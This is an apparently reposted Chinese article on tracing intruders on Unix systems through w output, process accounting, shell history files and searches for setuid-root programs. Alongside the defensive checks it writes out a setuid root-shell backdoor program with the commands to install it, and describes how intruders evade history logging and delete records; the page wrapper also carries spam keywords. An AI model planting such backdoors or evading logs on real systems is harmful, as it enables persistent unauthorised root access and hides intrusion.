• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • 如何查出黑客所在

    發表于:2007-07-02來源:作者:點擊數: 標簽:
    1.用w指令查看系統信息 $w 9:01pm up 10:08, 1 user, load average: 0.08, 0.06, 0.05 User tty login@ idle JCPU PCPU what notes console 10:54am 9days 28:04 23:29 /usr/dt/bin/dtscreen -mode blank notes pts/2 10:54am 10:07 /sbin/sh notes pts/4 10

      1.用w指令查看系統信息
    $w
    9:01pm up 10:08, 1 user, load average: 0.08, 0.06, 0.05
    User tty login@ idle JCPU PCPU what
    notes console 10:54am 9days 28:04 23:29 /usr/dt/bin/dtscreen -mode blank
    notes pts/2 10:54am 10:07 /sbin/sh
    notes pts/4 10:54am 10:06 /sbin/sh
    notes pts/5 10:56am 9:59 /sbin/sh
      在w顯示信息的最開頭是發出w命令的時間、系統啟動后的時間、及注冊在系統的用戶數。 最后的三個數表示平均負載,即使用系統資源的程度,使用w命令給系統增加了0.08負載。 其他兩個數字分別表示在最后5分鐘及十五分鐘內系統的平均負載量。
    注意:當有人在猜password時,將會大大增加系統的平均負載。
      2.進程記帳
      Unix 系統可以通過設置選項來讓核心在每個進程結束時產生一個記錄。這些記錄所產生的報告被稱為進程記帳。它包括進程使用資源的信息,以及所執行的命令名。如果運行 的是調整用戶id程序,則還包括用戶名等。系統管理員可根據進程記帳的CPU時間讓用戶交納上機費,也可用進程記帳來觀察某一用戶執行了哪些命令。 進程記帳和審計是兩碼事,審計是監視對安全性敏感的事件。進程記帳并不記下所執行 命令的參數,所以無法知道某一命令修改了哪個文件,甚至也不知道此命令的執行是否成 功。但系統管理員仍然可以在進程記帳中找出某些線索。 基于System V的系統和基于BSD的系統在進程記帳方面所采納的方法不同,命令也不 一樣。
      2.1 System V記帳
      在System V 中,進程記帳保存在/usr/adm/pactt文件中。root可運行/usr/lib/acct/startup 來啟動進程記帳。記帳信息的日常處理可用runacct命令來做,它會壓縮pacct文件。每月 的處理由shell程序monacct來完成。這兩個程序都在/usr/lib/acct目錄下。 acctcom 命令可用來搜索pacct中的內容,并產生報告。例如:查找用戶"tommy"在 10:00 至11:30這段時間內所執行的全部命令。見下表:
    $acctcom -u tommy -s 10:00 -e 11:30
    START BEF: Sat Oct 10 11:30:00 1998
    END AFTER: Sat Oct 10 10:00:00 1998
    COMMAND START END REAL CPU MEAN
    NAME USER TTYNAME TIME TIME (SECS) (SECS) SIZE(K)
    cat tommy pts/3 11:01:13 11:01:13 0.02 0.02 492.00
    mail tommy pts/3 11:01:13 11:01:13 0.02 0.02 876.00
    clear tommy pts/3 11:01:14 11:01:14 0.03 0.01 744.00
    ls tommy pts/3 11:01:16 11:01:16 0.03 0.03 776.00
    date tommy pts/3 11:01:23 11:01:23 0.01 0.01 664.00
      acctcom命令用來告訴系統管理員某一用戶干了些什么,而不是正在干什么,而且它指 列出了命令名,沒有參數。所以,從中發現一些線索,如可找出使用大量cpu時間的進程 (典型的是猜口令進程)。
      可用shell程序runacct來產生幾個報告。這些報告存放在/usr/adm/acct/sum目錄下, 其文件名格式為rprtMMDD。報告的第一部分包含"變更"信息,如進程記帳啟動及關閉的 時間(關閉記帳可能是由于某人想隱藏某些活動),以及系統時間的改變。第二部分是每個 用戶注冊到系統的時間以及有關每個端口的報告,還包括了每個端口上"接通"和"斷開" 的次數。"接通"表示一次成功的注冊,"斷開"表示退出系統或注冊失敗。
      大量的"斷開" 可能意味著有人在試驗"注冊名,口令"序列組試圖侵入系統中。 報告的最后一部分是有關用戶最后一次注冊的信息,這個最后注冊報告是隨著用戶的 不斷注冊、退出而時刻更新的。報告中還包括用戶名及最后的注冊時間,越早退出系統 的帳號排在越前。這個報告對于發現那些死帳號非常有用,管理員可能會在這里發現一 些奇怪的事情如有人注冊到系統管理的帳號中(如bin或sys)。
      2.2 BSD系統的記帳
      BSD系統的進程記帳用/usr/etc/accton程序啟動。默認的記帳文件為/usr/adm/acct 只要啟動了進程記帳,該文件會增長得很快。BSD有兩條命令來處理記帳信息。第一條是 /usr/etc/ac,處理在usr/adm/wtmp文件中的注冊信息,第二條是 /usr/etc/sa,產生已用 命令的小結報告,保存在/usr/adm/savacct文件中。
      BSD系統中也有與acctcom類似的命令叫做lastcomm。lastcomm命令反向搜索/usr/adm/acct 文件,產生出與acctcom命令相似的結果。
      BSD記帳系統也和System V一樣,有類似的缺陷(從安全性角度講),即不保留命令的參數。 并且,BSD系統沒有最后注冊的報告。
      現在針對前面的兩點防衛措施,從攻的角度來看:
      1.對與第一點中用w、who、last、ps等命令,hacker完全可以用程序將自己的記錄隱藏 起來,使管理員用以上幾個命令都查看不到。當然此時hacker已經把root的權限得到 手(如何得到,下章討論)。
      2.就算最笨的hacker,當他無法隱藏自己時,他也會把整個記錄文件刪除掉,免得管理員 查到用什么帳號從哪里登錄進來,運行了些什么指令。但顯而易見,雖然管理員此時 (沒安裝第三方的審記軟件時)不能知道誰人在哪里發起攻擊,但也無疑地告訴管理員 "你的系統已經給攻破了"。

     3.歷史文件:
    ksh、csh、sh、bash、zsh都可保存歷史文件。其文件如下:
    sh: .sh_history (sh 也即Bourne shell)
    csh: .history
    ksh: .sh_history
    bash: .bash_history
    zsh: .history
      在運行sh和ksh的用戶的相應.profile中,加入HISTORY=100,可指定.sh_history
    文件保存該用戶最近運行的100條記錄。 對于csh,則在.cshrc文件中加入, set history=100,則可。 用戶可以運行history指令來查看歷史文件中的內容。對于Ksh、sh 也可運行 tail -f .sh_history 來查看,其順序是從最近的運行的指令開始。 而C shell 是在退出才能更新文件,所以不能用tail來觀察Cshell執行了那些命令。 這些歷史文件比進程記帳更為有用,因為命令的參數也被保留下來,所以可通過執行 執行命令的上下文聯系察覺到用戶干了些什么。但話又說回來,其實這只起到一定作用而 已。
    BTW: .profile用于Bourne和Korn shell; .login和.cshrc用于C shell。
      4.找出屬主為root且帶s位的程序:
      以root身份執行以下的指令, 找出此類文件,看看是否有可疑的程序存在。
    #find / -perm -4000 -exec /bin/ls -lab {} ";"
    其實在以前post的文章 1284 "系統安全技術的研究" 已有討論過如何得到root shell 當hacker進入系統后,大部份是利用buffer overflow取得root shell 例如:solaris 中帶s位的fdformat,ufsdump,ping等;AIX中xlock;SGI中的xlock; digital中的dop;等等,都給hacker找出其漏洞。 當hacker利用這些big bugs取的root shell后,若其想以后還想入侵此系統的話, 當然是留下root shell的程序,此時hakcer也不關心原來的bugs是否給fix掉,他/她 不再需要利用bug了,只須運行自己留下的root shell即給。 以下給出得到root shell的簡單程序:
    #cat getrootshell.c
    void main(void)
    {
    setuid(0,0);
    execl("/bin/sh", "sh",0);
    }
    編譯后得到bin文件。此時,還有重要的步驟沒做,whats it? look the following
    #cc -o getrootshell getrootshell.c
    #chmod 4777 getrootshell
    #chown root:other getrootshell
    #ls -al getrootshell
    -rwsrwxrwx 1 root other 5 Oct 12 06:14 getrootshell
    (注意全過程是在取的rootshell后,才可這樣做)
    這樣hacker就在該系統中留下了后門,下次入來后就不需利用還沒fix的 fdformat,xlock,dop等bug 的程序了,直接運行getrootshell程序,就可跳成root了,想 干啥就干啥了。因此,管理員要查清此類型的文件。
    現在從攻的角度來看上面兩點防衛措施:
    1.對于history文件,當hacker進入系統后可以改變shell類型,來使保存他后來所有指 令的history文件失效。因此,當hacker用crack到的帳號進入系統后,第一條所敲的指令 是改變shell類型的指令. example in digital unix下:
    c:>te.net XXX.XXX.XXX.XXX
    Digital UNIX (center) (ttyp5)
    login: tommy
    Password:
    Last login: Sun Oct 11 22:43:51 from HPVC.com
    Digital UNIX V4.0A (Rev. 464); Sat Feb 7 19:54:12 GMT+0800 1998
    The installation software has successfully installed your system.
    There are logfiles that contain a record of your installation.
    These are:
    /var/adm/smlogs/install.cdf - configuration description file
    /var/adm/smlogs/install.log - general log file
    /var/adm/smlogs/install.FS.log - file system creation logs
    /var/adm/smlogs/setld.log - log for the setld(8) utility
    /var/adm/smlogs/fverify.log - verification log file
    center>chsh
    Old shell: /bin/sh
    New shell: ksh
    其他系統不在此一一列舉。
      2.對于類似getrootshell的bin文件,hacker也不會真的那么愚蠢到起這個名字,且他們 會將此類型的程序藏在不易察覺的目錄下,如果不是老練的管理員是不會發現的,這會 在下節提到。
    (注:一般來說,hacker不會把getrootshell文件刪除的,因為他也不能肯
    定下次進入系統時那些bugs還是否可以利用,使其變root)

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>